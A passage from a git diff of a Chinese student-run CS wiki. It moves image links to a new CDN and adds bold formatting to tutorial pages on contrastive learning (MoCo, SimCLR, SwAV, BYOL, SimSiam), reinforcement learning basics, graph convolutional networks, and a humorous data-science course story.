把所有负样本都视作一样的,但实际上负样 右边就是 memory bank 啦 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnKMjslIshEA5SFqc8rbmqoe.png) +![](https://cdn.xyxsw.site/boxcnKMjslIshEA5SFqc8rbmqoe.png) # MoCo 做出的改进 @@ -34,11 +34,11 @@ NCE 把所有负样本都视作一样的,但实际上负样 ## 2.针对动量更新不能完全解决特征一致性差的问题 -作者提出了一个新的动量编码器来替代动量更新。 +作者提出了一个新的**动量编码器**来替代动量更新。 动量编码器是独立于原编码器的一个编码器,它的参数是根据原编码器动量更新的,k 和 q 就是指代全部参数了 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnFLSP9PtQRkgYgcMwM4idog.png) +![](https://cdn.xyxsw.site/boxcnFLSP9PtQRkgYgcMwM4idog.png) 这样的话就是解码器在缓慢更新,比对特征使用动量更新要更有连续性。 @@ -48,17 +48,17 @@ NCE 把所有负样本都视作一样的,但实际上负样 [(什么?你看到这了还不会交叉熵?戳这里)](https://zhuanlan.zhihu.com/p/149186719) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnnWI38bkSzeCe5TtVTBCrNh.png) +![](https://cdn.xyxsw.site/boxcnnWI38bkSzeCe5TtVTBCrNh.png) q·k 其实就是各个特征(因为那时候用的都是 transformer 了,这里就是 trnasformer 里的 k 和 q) -这里分母级数上的k 是代表负样本的个数,也就是 k=batchsize-1(总样本-正样本)。其实就是对一个 batch 做 k+1 分类,并且引入了一个超参数 T。它的名字叫做温度参数,控制的是 softmax 后得分分布的平滑程度(直观理解,不是很严谨) +这里分母级数上的**k 是代表负样本的个数,也就是 k=batchsize-1(总样本-正样本)**。其实就是**对一个 batch 做 k+1 分类**,并且引入了一个**超参数 T**。它的名字叫做**温度参数**,控制的是 softmax 后得分分布的平滑程度(直观理解,不是很严谨) -T 越大,损失函数就越对所有负样本一视同仁,退化为二分类的 NCEloss;T 越小,损失函数就越关注一些难分类的特征,但有时候会出现两张其实都是猫猫的图片,你硬要让模型说猫猫跟猫猫不一样,这也不太好,这个参数要根据数据集情况适中调整。 +T 越大,损失函数就越对所有负样本**一视同仁**,退化为二分类的 NCEloss;T 越小,损失函数就**越关注一些难分类的特征**,但有时候会出现两张其实都是猫猫的图片,你硬要让模型说猫猫跟猫猫不一样,这也不太好,这个参数要根据数据集情况适中调整。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnhuabU9XzXmVQfu0ruENs83.png) +![](https://cdn.xyxsw.site/boxcnhuabU9XzXmVQfu0ruENs83.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnsGpqCNePn2G34GnJqPieBf.png) +![](https://cdn.xyxsw.site/boxcnsGpqCNePn2G34GnJqPieBf.png) 上面那张是 T 较大的情况,下面是 T 较小的情况(x 轴是各个类别,y 轴是分类得分) diff --git a/4.人工智能/4.6.8.5SimCLR.md b/4.人工智能/4.6.8.5SimCLR.md index 07c49fa..b02e225 100644 --- a/4.人工智能/4.6.8.5SimCLR.md +++ b/4.人工智能/4.6.8.5SimCLR.md @@ -6,11 +6,11 @@ x 是输入的图片,它经过两种不同的数据增强得到 xi 和 xj 两个正样本,而同一个 mini-batch 里的所有其他样本都作为负样本。说白了还是个体判别任务 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnq5TYzSltn6CsPM3Bn3xxAb.png) +![](https://cdn.xyxsw.site/boxcnq5TYzSltn6CsPM3Bn3xxAb.png) -左右的f 都是编码器,并且是完全一致共享权重的,可以说是同一个。 +左右的**f 都是编码器**,并且是**完全一致共享权重**的,可以说是同一个。 -而 g 是一层 mlp 结构,只在训练中使用,应用到下游任务时用的仅仅是 f(与前面几篇一样都是 RES50),很神奇的是,就仅仅多了这么一层 mlp,它在 imagenet 上的正确率直接加了十个点。 +而 g 是一层 mlp 结构,只在训练中使用,**应用到下游任务时用的仅仅是 f**(与前面几篇一样都是 RES50),很神奇的是,就仅仅多了这么一层 mlp,它在 imagenet 上的正确率直接加了十个点。 关于这点也很奇怪,作者做了很多实验但是也没有很合理的解释。 @@ -18,7 +18,7 @@ x 是输入的图片,它经过两种不同的数据增强得到 xi 和 xj 两 下面这个是更加具体的流程图 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnj3FZsRiJbWsKW07b9B8Fkb.png) +![](https://cdn.xyxsw.site/boxcnj3FZsRiJbWsKW07b9B8Fkb.png) # 总结 diff --git a/4.人工智能/4.6.8.6SwAV.md b/4.人工智能/4.6.8.6SwAV.md index bbfd152..80fcd8e 100644 --- a/4.人工智能/4.6.8.6SwAV.md +++ b/4.人工智能/4.6.8.6SwAV.md @@ -2,7 +2,7 @@ # 前言 -与前面的一些工作不同,SwAV不再进行个体判别任务,而是提出了新的任务————聚类 +与前面的一些工作不同,SwAV**不再进行个体判别任务**,而是提出了新的任务————**聚类** 并在训练的模型结构上也做了相应改动,而非只调整训练方法。 @@ -20,39 +20,39 @@ 下图左边是常规的对比学习(比如 SimCLR)的结构,右图是 SWAV 的结构,不难看出多了一个叫 prototypes 的东西。这个东西其实是聚类中心向量所构成的矩阵。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnGteJZelEtVqBFwwukw7c8g.png) +![](https://cdn.xyxsw.site/boxcnGteJZelEtVqBFwwukw7c8g.png) 下面的内容可能有些理解上的难度(反正我第一次听讲解的时候就云里雾里的),我会尽可能直白地描述这个过程。 ## 聚类中心? -首先我们有个新的东西prototypes,它是聚类中心的集合,也就是许多作为聚类中心的向量构成的矩阵。 +首先我们有个新的东西**prototypes**,它是**聚类中心的集合**,也就是许多作为聚类中心的向量构成的矩阵。 这些聚类中心是我设定在超球面上的,离散的一些点,我希望让不同的特征向它们靠拢以进行区分(也就是所谓聚类)。 -更直白地讲,我在地上撒了一把面包屑,地上本来散乱的蚂蚁会向面包屑聚集,形成一个个小团体。蚂蚁就是不同图像的特征,面包屑就是我设定的聚类中心 +更直白地讲,我在地上撒了一把面包屑,地上本来散乱的蚂蚁会向面包屑聚集,形成一个个**小团体**。蚂蚁就是**不同图像的特征**,面包屑就是**我设定的聚类中心** ## 聚类中心我知道了,然后呢? 先说我拿他干了什么,再一步步讲为什么要这么做吧。 -首先我们手里有抽取出来的特征z1z2,以及一个我随机初始化的聚类中心矩阵 c。我分别求这个矩阵z1z2的内积,并进行一些变换得到 Q1,Q2。当 z1,z2 都是正样本时,我希望Q1 与 z2 相近Q2 与 z1 相近。如果有一个是负样本则尽可能远离。也就是拿 Q 当 ground-truth 做训练。最后这步前面已经讲过 NCEloss 等损失函数了,用它们就可以达成这个任务。 +首先我们手里有抽取出来的特征**z1**,**z2**,以及一个我随机初始化的**聚类中心矩阵 c**。我分别求这个**矩阵**和**z1**,**z2**的内积,并**进行一些变换**得到 Q1,Q2。当 z1,z2 都是正样本时,我希望**Q1 与 z2 相近**,**Q2 与 z1 相近**。如果有一个是负样本则尽可能远离。也就是拿 Q 当 ground-truth 做训练。最后这步前面已经讲过 NCEloss 等损失函数了,用它们就可以达成这个任务。 而我们的优化要采用 [K-means](https://zhuanlan.zhihu.com/p/78798251)(不懂可以看这里)的类似做法,先对聚类中心进行优化,再对特征进行优化。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnKe4DzDfdNbhhHowdE4BJEf.png) +![](https://cdn.xyxsw.site/boxcnKe4DzDfdNbhhHowdE4BJEf.png) so,why?相信你现在肯定是一脸懵,不过别急,希望我能为你讲懂。 ## 首先是第一步,为什么要求内积? -如果你有好好了解线性代数的几何性质,应当了解两个向量的内积就是一个向量在另一个向量上的投影,而一个向量与一个矩阵的内积,就是把这个向量投影到这个矩阵代表的基空间中。 +如果你有好好了解线性代数的几何性质,应当了解**两个向量的内积就是一个向量在另一个向量上的投影**,而一个向量与一个矩阵的内积,**就是把这个向量投影到这个矩阵代表的基空间中**。 -我做的第一步就是把抽出来的特征 z 用聚类中心的向量表示,这样更加方便对比聚类成功与否。 +我做的第一步就是把**抽出来的特征 z 用聚类中心的向量表示,这样更加方便对比聚类成功与否**。 ## 然后是第二步,我说的变换是什么呢? -我们现在求内积是为了把特征投影到聚类中心空间,为了避免模型训练坍塌(就是网络把特征全部聚到同一个点,开摆~)我要保证每个聚类中心被"使用"的次数,所以我们请出了Sinkhorn-Knopp 算法。这个算法比较硬核,我在这里不展开了,大家知道它是干啥的就行,具体的推导可以看我后面贴的视频,那里面有讲。 +我们现在求内积是为了把特征投影到聚类中心空间,为了避免模型训练坍塌(就是网络把特征全部聚到同一个点,开摆~)我要保证每个聚类中心被**"使用"**的次数,所以我们请出了**Sinkhorn-Knopp 算法。**这个算法比较硬核,我在这里不展开了,大家知道它是干啥的就行,具体的推导可以看我后面贴的视频,那里面有讲。 ## 第三步应该不用怎么讲了吧? @@ -64,7 +64,7 @@ so,why?相信你现在肯定是一脸懵,不过别急,希望我能为你 # 总结 -主要贡献是上面我说的三步聚类算法以及后面的小 trick,Sinkhorn-Knopp 算法难度较高,大家有兴趣的话自行观看后面这个视频理解哈~ +主要贡献是上面我说的三步聚类算法以及后面的小 trick,**Sinkhorn-Knopp 算法难度较高,大家有兴趣的话自行观看后面这个视频理解哈~** # 相关资料 diff --git a/4.人工智能/4.6.8.7BYOL.md b/4.人工智能/4.6.8.7BYOL.md index fd53f56..d8beb84 100644 --- a/4.人工智能/4.6.8.7BYOL.md +++ b/4.人工智能/4.6.8.7BYOL.md @@ -2,25 +2,25 @@ # 前言 -这篇论文的主要特点是它的训练不需要负样本,并且能保证模型不坍塌。 +这篇论文的主要特点是**它的训练不需要负样本**,并且能保证**模型不坍塌**。 -当一个普通的对比学习模型没有负样本时,它的损失函数就只有正样本之间的差距,这样模型只会学到一个捷径解————你给我什么输入我都输出同一个值,这样 loss 就永远=0 了(开摆) +当一个普通的对比学习模型没有负样本时,它的损失函数就**只有正样本之间的差距**,这样模型只会学到一个**捷径解**————你给我什么输入我都输出同一个值,这样 loss 就永远=0 了(~~开摆~~) -而BYOL就解决了这一问题,使得训练不再需要负样本。 +而**BYOL**就解决了这一问题,使得训练不再需要负样本。 # 模型结构 前半部分很普通,跟 SimCLR 是基本一致的,一个图片经过两种不同的数据增强,进入两个编码器,得到两个不同的特征。 -值得一提的是,这里下面的这个粉色的编码器用的是动量编码器的更新方式。也就是说它是紫色那个编码器的动量编码器。 +值得一提的是,这里下面的这个粉色的编码器用的是**动量编码器**的更新方式。也就是说它是紫色那个编码器的动量编码器。 -而提取特征之后,经过两个 `SimCLR` 中提出的额外的 mlp 层 z,在此之后,它们给紫色的那支加了一个新的模块,predictor。 +而提取特征之后,经过两个 `SimCLR` 中提出的额外的 mlp 层 z,在此之后,它们给紫色的那支加了一个新的模块,**predictor**。 -predictor的模型结构就是跟 z 一样的mlp 层。它的任务是通过紫色的特征去预测粉色的特征。也就是说它的代理任务换成了生成式。 +**predictor**的模型结构就是跟 z 一样的**mlp 层**。它的任务是**通过紫色的特征去预测粉色的特征**。也就是说它的代理任务换成了**生成式**。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcne7eizRhw5GKRSpF40KcMEh.png) +![](https://cdn.xyxsw.site/boxcne7eizRhw5GKRSpF40KcMEh.png) -而具体的损失只有预测特征和真实特征的损失,用的是MSEloss。 +而具体的损失只有预测特征和真实特征的损失,用的是**MSEloss**。 下面的粉色分支最后一步是不进行梯度回传的。它的更新完全依赖紫色的那个编码器。 @@ -32,7 +32,7 @@ ### 有篇博客在复现 BYOL 时,不小心没加这个 BN 层,导致模型直接摆烂。那么 BN 到底藏着什么呢? -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn8wfpZCjOD2lFsM03N5vatl.png) +![](https://cdn.xyxsw.site/boxcn8wfpZCjOD2lFsM03N5vatl.png) 我们得先来回顾一下 BN 做了什么。 @@ -42,29 +42,29 @@ BN 根据批次的均值和方差进行归一化 推理时,均值、方差是基于所有批次的期望计算所得。 -因此,博客作者认为,虽然我们只用了正样本进行训练,但是这个正样本包含了本批次所有样本的信息(均值,方差),所以实际上并不是真正的无负样本。 +因此,博客作者认为,虽然我们只用了正样本进行训练,但是这个正样本包含了**本批次所有样本的信息**(均值,方差),所以**实际上并不是真正的无负样本。** 而这个 batch 的均值,即平均图片,可以看作 `SawAV` 里的聚类中心,是所有历史样本的聚类中心。(很玄学) ### 作者看到这个博客就急了 -如果真是这样的话,BYOL 就还是没有逃脱出对比学习的范畴,它还是找了一个东西去做对比,其创新性就大大降低了。所以作者赶紧做实验,看看能不能找到 BYOL 模型不坍塌的另外一种解释。最终又写了一篇论文进行回应。 +如果真是这样的话,**BYOL 就还是没有逃脱出对比学习的范畴**,它还是找了一个东西去做对比,其创新性就大大降低了。所以作者赶紧做实验,看看能不能找到 BYOL 模型不坍塌的另外一种解释。最终又写了一篇论文进行回应。   这篇论文叫 BYOL works even without batch statistics,即在没有 BN 的时候 BYOL 照样能工作,详细的消融实验结果如下表所示 : -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcncmJWb99mlUUIFTPjGoCqYb.png) +![](https://cdn.xyxsw.site/boxcncmJWb99mlUUIFTPjGoCqYb.png) -BN 非常关键:只要是 `projector`(SimCLR 提出的 mlp)中没有 BN 的地方,SimCLR 性稍微下降;但是 BYOL 全都模型坍塌了。 +**BN 非常关键**:只要是 `projector`(SimCLR 提出的 mlp)中没有 BN 的地方,SimCLR 性稍微下降;但是 BYOL 全都模型坍塌了。 -有 BN 也会坍塌:作者找到了特例(红色框),即使当 `projector` 有 BN 的时候,BYOL 还是训练失败了 。如果 BN 真的很关键,它真的提供了隐式负样本的对比学习的话,训练就不应该失败 +**有 BN 也会坍塌**:作者找到了特例(红色框),即使当 `projector` 有 BN 的时候,BYOL 还是训练失败了 。如果 BN 真的很关键,它真的提供了隐式负样本的对比学习的话,训练就不应该失败 -完全没有 BN,SimCLR 也坍塌(最后三列的结果。要注意 SimCLR 只有一层 projector)。这表明完全不用归一化,SimCLR 这种使用负样本进行对比学习的方式也无法训练。 +**完全没有 BN,SimCLR 也坍塌**(最后三列的结果。要注意 SimCLR 只有一层 projector)。这表明完全不用归一化,SimCLR 这种使用负样本进行对比学习的方式也无法训练。   最终结论:BN 跟它原来的设计初衷一样,主要作用就是提高模型训练时的稳定性,从而不会导致模型坍塌 。作者进一步延伸,如果一开始就能让模型初始化的比较好,后面的训练即使离开了 BN 也没有问题。 作者为此又设计了一个实验,使用 `group norm`+`weight standardization` (前者也是一种归一化方式,后者是一种卷积权重标准化方式,但都没有对 batch 中的数据进行融合),BYOL 的 top-准确率可以达到 74.1%,和原来精度可以认为是一样了(74.3%)。 -至今其实这个问题也没有一个很合理能服众的解释。 +**至今其实这个问题也没有一个很合理能服众的解释。** # 总结 diff --git a/4.人工智能/4.6.8.8SimSiam.md b/4.人工智能/4.6.8.8SimSiam.md index 98fe5f1..86b4861 100644 --- a/4.人工智能/4.6.8.8SimSiam.md +++ b/4.人工智能/4.6.8.8SimSiam.md @@ -20,7 +20,7 @@ BYOL 之后,大家都发现对比学习是靠许许多多的小 trick 和技 虽然看起来只有左边预测右边,其实右边也有一个 predictor 去预测左边的特征,两边是对称的,左右的优化有先后顺序。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnWk5QzvbsSNlyV4B7SMt5zb.png) +![](https://cdn.xyxsw.site/boxcnWk5QzvbsSNlyV4B7SMt5zb.png) 结构其实没什么特殊的地方,主要讲讲思想。 @@ -30,13 +30,13 @@ BYOL 之后,大家都发现对比学习是靠许许多多的小 trick 和技 原论文中提出的解释并不是最完美的。而且这个问题的解释涉及了动力学等知识,我也没有足够的知识储备去讲解这个问题,这里只能讲一些与解答相关的信息,如果有兴趣可以看下面链接中的解释: -这里要涉及到一个机器学习的经典算法,EM 算法,它也是k-means的核心思想之一。 +这里要涉及到一个机器学习的经典算法,**EM 算法**,它也是**k-means**的核心思想之一。 因为本文的主旨原因,我不会在这里细讲这个算法,但是大家了解这是个什么东西即可。 -EM 算法用于优化带有未知参数的模型,`k-means` 的聚类中心就可以看作一个未知参数,我们要同时优化模型本体和聚类中心。所以我们先对其中一个目标 A 做随机初始化,然后先优化另一个目标 B,再反过来用另一个目标 B 优化后的结果优化被随机初始化的目标 A,这就是一次迭代,只要不断循环这个迭代,EM 算法往往能找到最优解。 +**EM 算法**用于优化带有未知参数的模型,`k-means` 的聚类中心就可以看作一个未知参数,我们要同时优化模型本体和聚类中心。所以我们先对其中一个目标 A 做**随机初始化**,然后**先优化**另一个目标 B,再反过来用另一个目标 B 优化后**的结果优化被随机初始化的目标 A**,这就是一次迭代,只要不断循环这个迭代,EM 算法往往能找到最优解。 -这里可以把经过 predictor 预测头的特征作为 `k-means` 里的特征,而另一个作为目标的特征作为聚类中心,经过预测头的特征直接反向传播进行优化,作为目标的特征则是通过上面说的对称的操作经过预测头进行优化。 +这里可以把**经过 predictor 预测头的特征**作为 `k-means` 里的特征,而另一个作为**目标的特征**作为**聚类中心**,经过预测头的特征直接反向传播进行优化,作为目标的特征则是通过上面说的对称的操作经过预测头进行优化。 最最直白地解读结论的话,可以说是,这种先后优化的 EM 算法,使得模型“来不及“去把权重全部更新为 0。(模型坍塌)具体的推导需要动力学的知识,这里不做展开。 @@ -44,16 +44,15 @@ BYOL 之后,大家都发现对比学习是靠许许多多的小 trick 和技 这是作者总结的所有”孪生网络“的模型结构,很精炼。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn8OWwnN8ae2vUVttqlu5O8e.png) +![](https://cdn.xyxsw.site/boxcn8OWwnN8ae2vUVttqlu5O8e.png) 下面是这些网络训练结果的对比,也列出了它们分别有哪些 trick(用的是分类任务) -``` - 负样本 动量编码器 训练轮数 -``` + 负样本 动量编码器 训练轮数 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn3uizAKNhAxQryOwvHxFSDb.png) + +![](https://cdn.xyxsw.site/boxcn3uizAKNhAxQryOwvHxFSDb.png) 具体结果还是图片比较直观( -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnqdfrOIxim4wBayDDBitHCd.png) +![](https://cdn.xyxsw.site/boxcnqdfrOIxim4wBayDDBitHCd.png) diff --git a/4.人工智能/4.6.8.9MoCo v3.md b/4.人工智能/4.6.8.9MoCo v3.md index f849189..67ff70b 100644 --- a/4.人工智能/4.6.8.9MoCo v3.md +++ b/4.人工智能/4.6.8.9MoCo v3.md @@ -10,7 +10,7 @@ MoCo v3,它缝合了 MoCo 和 SimSiam,以及新的骨干网络 VIT。 可能因为和前面的工作太像了,作者就没有给模型总览图,我们借 MoCo 的总览图来讲 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnhxg4HZw2NExIbYZxQGISze.png) +![](https://cdn.xyxsw.site/boxcnhxg4HZw2NExIbYZxQGISze.png) 总体架构其实没有太多变化,还是 memory bank 的结构,右边也还是动量编码器,不过加入了 SimCLR 提出的 projection head(就是额外的那层 mlp),并且在对比上用了 SimSiam 的预测头对称学习方式。具体也不展开了,都是老东西缝合在一起。 @@ -18,11 +18,11 @@ MoCo v3,它缝合了 MoCo 和 SimSiam,以及新的骨干网络 VIT。 作者在用 VIT 做骨干网络训练的时候,发现如下问题: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnMMhbVk6wc81H8BSoack7Mg.png) +![](https://cdn.xyxsw.site/boxcnMMhbVk6wc81H8BSoack7Mg.png) -在使用 VIT 训练的时候,batchsize 不算太大时训练很平滑,但是一旦 batchsize 变大,训练的图像就会出现如上图这样的波动。于是作者去查看了每一层的梯度,发现问题出在VIT 的第一层线性变换上。也就是下图中的粉色那个层,把图片打成 patch 后展平做的线性变换。 +在使用 VIT 训练的时候,batchsize 不算太大时训练很平滑,但是一旦 batchsize 变大,训练的图像就会出现如上图这样的**波动**。于是作者去查看了每一层的梯度,发现问题出在**VIT 的第一层线性变换**上。也就是下图中的粉色那个层,**把图片打成 patch 后展平做的线性变换**。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcniBkiypcv6IQbxr9D6JukOb.png) +![](https://cdn.xyxsw.site/boxcniBkiypcv6IQbxr9D6JukOb.png) 在这一层中,梯度会出现波峰,而正确率则会突然下跌。 diff --git a/4.人工智能/4.6.9.3基本概念介绍.md b/4.人工智能/4.6.9.3基本概念介绍.md index c4c7761..227f026 100644 --- a/4.人工智能/4.6.9.3基本概念介绍.md +++ b/4.人工智能/4.6.9.3基本概念介绍.md @@ -4,13 +4,13 @@ ## 强化学习的基本过程 前面已经介绍过强化学习的核心过程,在于智能体与环境进行交互,通过给出的奖励反馈作为信号学习的过程。简单地用图片表示如下: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/4.6.9.3.1.png) +![](https://cdn.xyxsw.site/4.6.9.3.1.png) 正是在这个与环境的交互过程中,智能体不断得到反馈,目标就是尽可能地让环境反馈的奖励足够大。 ## 强化学习过程的基本组成内容 为了便于理解,我们引入任天堂经典游戏——[新超级马里奥兄弟U](https://www.nintendoswitch.com.cn/new_super_mario_bros_u_deluxe/pc/index.html),作为辅助理解的帮手。作为一个2D横向的闯关游戏,它的状态空间和动作空间无疑是简单的。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/4.6.9.3.2.png) +![](https://cdn.xyxsw.site/4.6.9.3.2.png) 1.智能体(Agent):它与环境交互,可以观察到环境并且做出决策,然后反馈给环境。在马里奥游戏中,能操控的这个马里奥本体就是智能体。 @@ -22,7 +22,7 @@ 5.策略(Policy):智能体采取动作的规则,分为**确定性策略**与**随机性策略**。确定性策略代表在相同的状态下,智能体所输出的动作是唯一的。而随机性策略哪怕是在相同的状态下,输出的动作也有可能不一样。这么说有点过于抽象了,那么请思考这个问题:在下面这张图的环境中,如果执行确定性策略会发生什么?(提示:着重关注两个灰色的格子) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/4.6.9.3.3.png) +![](https://cdn.xyxsw.site/4.6.9.3.3.png) 因此,在强化学习中我们一般使用随机性策略。随机性策略通过引入一定的随机性,使环境能够被更好地探索。同时,如果策略固定——你的对手很容易能预测你的下一步动作并予以反击,这在博弈中是致命的。 随机性策略$\pi$定义如下: diff --git a/4.人工智能/4.7图网络略述(intro&GCN).md b/4.人工智能/4.7图网络略述(intro&GCN).md index 31f61c0..d9c441e 100644 --- a/4.人工智能/4.7图网络略述(intro&GCN).md +++ b/4.人工智能/4.7图网络略述(intro&GCN).md @@ -8,7 +8,7 @@ 在周志华的机器学习一书半监督学习章节中,有对基本的图学习策略进行基本的描述,详见我为了应付课程考试整理的[图半监督学习](http://blog.cyasylum.top/index.php/2020/07/05/%E5%9B%BE%E5%8D%8A%E7%9B%91%E7%9D%A3%E5%AD%A6%E4%B9%A0/)。其基本思路是这样的,通过”样本距离度量“刻画获取样本之间的联系,将样本嵌入到“图”,即样本即其关系的集合中。后通过图将半监督学习中有标记样本的标签对未标记样本进行传递,从而获取未标记样本的属性,进行学习。 -如此,便定下来图网络的基本思路,即通过信息在图上的传递,迭代学习知识。有了这样的基础,我们便可以开始对图网络进行讨论了。 +如此,便定下来图网络的基本思路,即通过*信息在图上的传递*,迭代学习知识。有了这样的基础,我们便可以开始对图网络进行讨论了。 接下来,我们从最基础的部分来讲讲,信息是如何在图上进行传播的。 @@ -55,7 +55,7 @@ $$ 现在,我们可以尝试用$\mathbf{L}$对图进行表示了。 -另外还有个随机游走归一化拉普拉斯矩阵 +另外还有个*随机游走归一化拉普拉斯矩阵* $$ \mathbf{L}^{sym}=\mathbf{D}^{-1}\mathbf{L}=\mathbf{I}-\mathbf{D}^{-1}\mathbf{A} $$ @@ -81,7 +81,7 @@ $ ## ChebNet 及其思考 -ChebNet 的引入是当今神经网络大热门的开端,也是图卷积网络的基础。其思路为,使用切比雪夫多项式对卷积过程 K 阶拟合([参考](https://zhuanlan.zhihu.com/p/138420723)) +ChebNet 的引入是当今神经网络大热门的开端,也是图卷积网络的基础。其思路为,使用切比雪夫多项式对卷积过程 K 阶拟合 ([参考](https://zhuanlan.zhihu.com/p/138420723)) ChebNet 假设$g\theta$对$\Lambda$的滤波结果是原始特征值多项式函数,而网络的目的是抛弃原本通过矩阵相乘来对卷积结果进行求解,而通过参数学习来对结果进行表示,给出下式 @@ -96,7 +96,7 @@ $$ 其中有切比雪夫多项式在矩阵上的表示,具体数学背景可以详细查看 $$ -T_0(L) = I\ T_1(L)=L\ T_{n+1}(L)=2LT_n(L) - T_{n-1}(L) +T_0(L) = I\ T_1(L)=L\ T_{n+1}(L)=2LT_n(L) - T_{n-1}(L) $$ 有$\beta_k$为网络的待学习参数 @@ -114,9 +114,7 @@ $$ \mathbf{U}^\mathsf{T}x \end{matrix} $$ - -,并对其中无关输入信号 $x$ 的部分进行改写 - +并对其中无关输入信号 $x$ 的部分进行改写 $$ \mathbf{U}\begin{matrix}\sum_{k=0}^K @@ -163,7 +161,6 @@ x \end{matrix} $$ - 作为 ChebNet 的卷积结构 其中值得注意的一点是,ChebNet 的 K 值限制了卷积核的多项式次数,但是这里的多项式次数描述了什么呢?其实就是卷积的“范围”,即单次卷积内最高可获得的 K 阶相邻节点信息。在 K=n 的时候,我们从理论上可以通过单次卷积,获取一张连通图上所有结点的信息,而这也是原方法难以计算的根本原因。 diff --git a/4.人工智能/4.8数据分析.md b/4.人工智能/4.8数据分析.md index bc292b9..051972c 100644 --- a/4.人工智能/4.8数据分析.md +++ b/4.人工智能/4.8数据分析.md @@ -1,13 +1,14 @@ # 数据科学 + author:zzm -# 本章内容会从一个小故事开始 + +## 本章内容会从一个小故事开始 讲讲某个人在大一的悲惨经历来为大家串起来一个精简的数据科学工作包括了哪些步骤,同时给各位介绍一些优质的教程 -同时,这章内容将详细阐述[与人合作的生死疲劳](https://www.bilibili.com/video/BV1494y1o7jp/?spm_id_from=333.1007.top_right_bar_window_history.content.click&vd_source=2cb6252f9211ae9d29cf1f76f0aea8d7) - -# 悲惨世界 +同时,这章内容将详细阐述[与人合作的生死疲劳](../1.杭电生存指南/1.5小组作业避雷指南.md) +## 悲惨世界 ::: danger 若有雷同,纯属瞎编~~根据真实事件改编 @@ -16,45 +17,50 @@ author:zzm 请欣赏小故事的同时,根据自己的需求选择自己想学的教程 ::: -## Day1 + +### Day1 你是一个可怜的大一学生,学校的短学期的第一天,你的心情非常好,因为要放寒假了,只要再坚持过这个短学期,你的快乐假期要来了!什么是短学期?不知道啊,也没听学长说过,好像是新研究出来的一个课程,去试试看吧。 -当你快乐的走进教室,老师告诉你:“你们看看PPT上的任务,自由选择啊!” +当你快乐的走进教室,老师告诉你:“你们看看 PPT 上的任务,自由选择啊!” -你看到PPT上赫然印着 +你看到 PPT 上赫然印着 ::: tip 任务目标 -基础系统: +基础系统: + 1. 淘宝客户价值分析系统,实现爬取数据,数据处理,数据分析。 2. 二手房数据分析预测系统,实现爬取数据,数据分析,绘制图表。 3. 智能停车场运营分析系统,实现爬取数据,数据分析,绘制图表。 4. 影视作品分析系统,实现爬取数据,数据分析,绘制图表。 -升级系统: + +升级系统: + 1. 利用爬虫理论,实现 12306 抢票小助手系统。 2. 利用数据分析方法,实现淘宝商品排行分析。 3. 利用爬虫原理,爬 Google 搜索引擎分析。” 要求实现三项以上的功能模块或三种以上的特征分析或提取。 + ::: -心中一惊,暗道不妙,这都什么玩意,怎么还有爬谷歌,淘宝和抢12306的票啊,这tm不是犯法的么!这我要能做出来我还上什么大一的学啊!🥺🥺🥺🥺 +心中一惊,暗道不妙,这都什么玩意,怎么还有爬谷歌,淘宝和抢 12306 的票啊,这 tm 不是犯法的么!这我要能做出来我还上什么大一的学啊!🥺🥺🥺🥺 老师紧接着补充“十个人一组啊!一周内做完,数据自己想办法,第三天就要检查你们的进度了!” -这是你倒是暗暗松了一口气,好像十个人一起干也没有那么复杂!😎(这时正是愚昧之峰,错误的认为工作总量就是工作量除以十)迅速的组好队之后,你问了问大伙的进度,what?大伙都没有python基础,只有我有?幸好学了hdu-wiki和datawhale的[聪明方法学python](https://github.com/datawhalechina/learn-python-the-smart-way) +这是你倒是暗暗松了一口气,好像十个人一起干也没有那么复杂!😎(这时正是愚昧之峰,错误的认为工作总量就是工作量除以十)迅速的组好队之后,你问了问大伙的进度,what?大伙都没有 python 基础,只有我有?幸好学了 hdu-wiki 和 datawhale 的[聪明方法学 python](https://github.com/datawhalechina/learn-python-the-smart-way) 那就把教程分给大伙吧,我们选一个最简单的,二手房数据的分析系统好了! -第一天选好题了,又是大下午的,摆了摆了,你开心的打开电脑,打开了steam,开摆! +第一天选好题了,又是大下午的,摆了摆了,你开心的打开电脑,打开了 steam,开摆! day 1 End!🤣 -## Day 2 +### Day 2 昨天真是美滋滋的一天,玩了一晚上的你有点头昏脑涨,今天就开始干活好了,反正一周时间呢,比期末复习周可长太多了,就做这么个玩意我还能做不出来吗? -虽然你没有学过爬虫,但是你很幸运的找到了github上一个现成的爬虫代码,虽然费了一翻力气,但是仍然躲过了某房价网站的爬虫,他成功爬下来了,我们就把他存在哪里呢?~~(爬虫待补充) +虽然你没有学过爬虫,但是你很幸运的找到了 github 